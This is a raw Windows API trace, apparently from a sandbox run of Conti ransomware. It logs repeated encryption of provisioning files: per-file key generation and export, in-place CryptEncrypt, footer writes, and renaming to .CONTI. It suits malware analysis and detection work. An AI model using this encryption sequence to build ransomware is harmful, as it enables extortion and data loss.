	[0111.367] GetProcessHeap () returned 0x1720000
	[0111.367] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.028] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml"
	[0112.028] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.028] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.029] GetProcessHeap () returned 0x1720000
	[0112.029] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.029] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0112.029] GetProcessHeap () returned 0x1720000
	[0112.029] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6573140 | out: hHeap=0x1720000) returned 1
	[0112.029] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0112.029] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x6b7f1f8) returned 1
	[0112.029] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x573fb4c | out: pbData=0x17c4c74*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0112.030] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\473__connections_cellular_o2 - uk (united kingdom)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0112.032] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\473__connections_cellular_o2 - uk (united kingdom)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0112.032] GetLastError () returned 0x0
	[0112.032] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=852) returned 1
	[0112.032] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x354
	[0112.032] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.032] SetEndOfFile (hFile=0x3cc) returned 1
	[0112.033] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.033] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.033] WriteFile (in: hFile=0x3cc, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0112.038] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.038] ReadFile (in: hFile=0x3cc, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x354, lpOverlapped=0x0) returned 1
	[0112.038] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x354, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x360) returned 1
	[0112.038] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.038] WriteFile (in: hFile=0x3cc, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x360, lpOverlapped=0x0) returned 1
	[0112.038] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.038] WriteFile (in: hFile=0x3cc, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0112.038] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.038] CloseHandle (hObject=0x3cc) returned 1
	[0112.038] GetProcessHeap () returned 0x1720000
	[0112.038] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.038] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml"
	[0112.038] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml.CONTI"
	[0112.038] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\473__connections_cellular_o2 - uk (united kingdom)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\473__connections_cellular_o2 - uk (united kingdom)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0112.039] GetProcessHeap () returned 0x1720000
	[0112.039] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.039] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0112.039] GetProcessHeap () returned 0x1720000
	[0112.039] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180afc0 | out: hHeap=0x1720000) returned 1
	[0112.039] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0112.039] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x6b7f038) returned 1
	[0112.039] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x573fb4c | out: pbData=0x17d31fc*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0112.040] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\475__connections_cellular_o2 - uk (united kingdom)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0112.040] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\475__connections_cellular_o2 - uk (united kingdom)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0112.040] GetLastError () returned 0x0
	[0112.040] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=852) returned 1
	[0112.040] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x354
	[0112.040] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.040] SetEndOfFile (hFile=0x3cc) returned 1
	[0112.041] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.041] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.041] WriteFile (in: hFile=0x3cc, lpBuffer=0x17d31fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17d31fc*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0112.045] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.045] ReadFile (in: hFile=0x3cc, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x354, lpOverlapped=0x0) returned 1
	[0112.045] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x354, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x360) returned 1
	[0112.045] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.045] WriteFile (in: hFile=0x3cc, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x360, lpOverlapped=0x0) returned 1
	[0112.045] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.045] WriteFile (in: hFile=0x3cc, lpBuffer=0x17d31f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17d31f0*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0112.045] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.046] CloseHandle (hObject=0x3cc) returned 1
	[0112.046] GetProcessHeap () returned 0x1720000
	[0112.046] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.046] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml"
	[0112.046] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml.CONTI"
	[0112.046] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\475__connections_cellular_o2 - uk (united kingdom)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\475__connections_cellular_o2 - uk (united kingdom)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0112.046] GetProcessHeap () returned 0x1720000
	[0112.046] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.046] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0112.046] GetProcessHeap () returned 0x1720000
	[0112.047] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b3c8 | out: hHeap=0x1720000) returned 1
	[0112.047] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0112.047] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x1811550 | out: phKey=0x1811550*=0x6b7f1f8) returned 1
	[0112.047] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1811554, pdwDataLen=0x573fb4c | out: pbData=0x1811554*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0112.047] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\477__connections_cellular_ee (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.048] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\477__connections_cellular_ee (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0112.048] GetLastError () returned 0x0
	[0112.048] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=842) returned 1
	[0112.048] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34a
	[0112.048] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.048] SetEndOfFile (hFile=0x3cc) returned 1
	[0112.048] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.048] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.048] WriteFile (in: hFile=0x3cc, lpBuffer=0x1811554*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x1811554*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0112.053] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.053] ReadFile (in: hFile=0x3cc, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x34a, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x34a, lpOverlapped=0x0) returned 1
	[0112.053] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x34a, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x350) returned 1
	[0112.053] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.053] WriteFile (in: hFile=0x3cc, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x350, lpOverlapped=0x0) returned 1
	[0112.053] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.053] WriteFile (in: hFile=0x3cc, lpBuffer=0x1811548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x1811548*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0112.053] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.053] CloseHandle (hObject=0x3cc) returned 1
	[0112.053] GetProcessHeap () returned 0x1720000
	[0112.053] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.053] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0112.053] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.053] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\477__connections_cellular_ee (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\477__connections_cellular_ee (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.054] GetProcessHeap () returned 0x1720000
	[0112.054] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.054] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0112.054] GetProcessHeap () returned 0x1720000
	[0112.054] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180a948 | out: hHeap=0x1720000) returned 1
	[0112.054] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0112.054] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x180fe80 | out: phKey=0x180fe80*=0x6b7f478) returned 1
	[0112.054] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180fe84, pdwDataLen=0x573fb4c | out: pbData=0x180fe84*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0112.055] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\478__connections_cellular_vodafone uk (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.055] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\478__connections_cellular_vodafone uk (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0112.056] GetLastError () returned 0x0
	[0112.056] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=844) returned 1
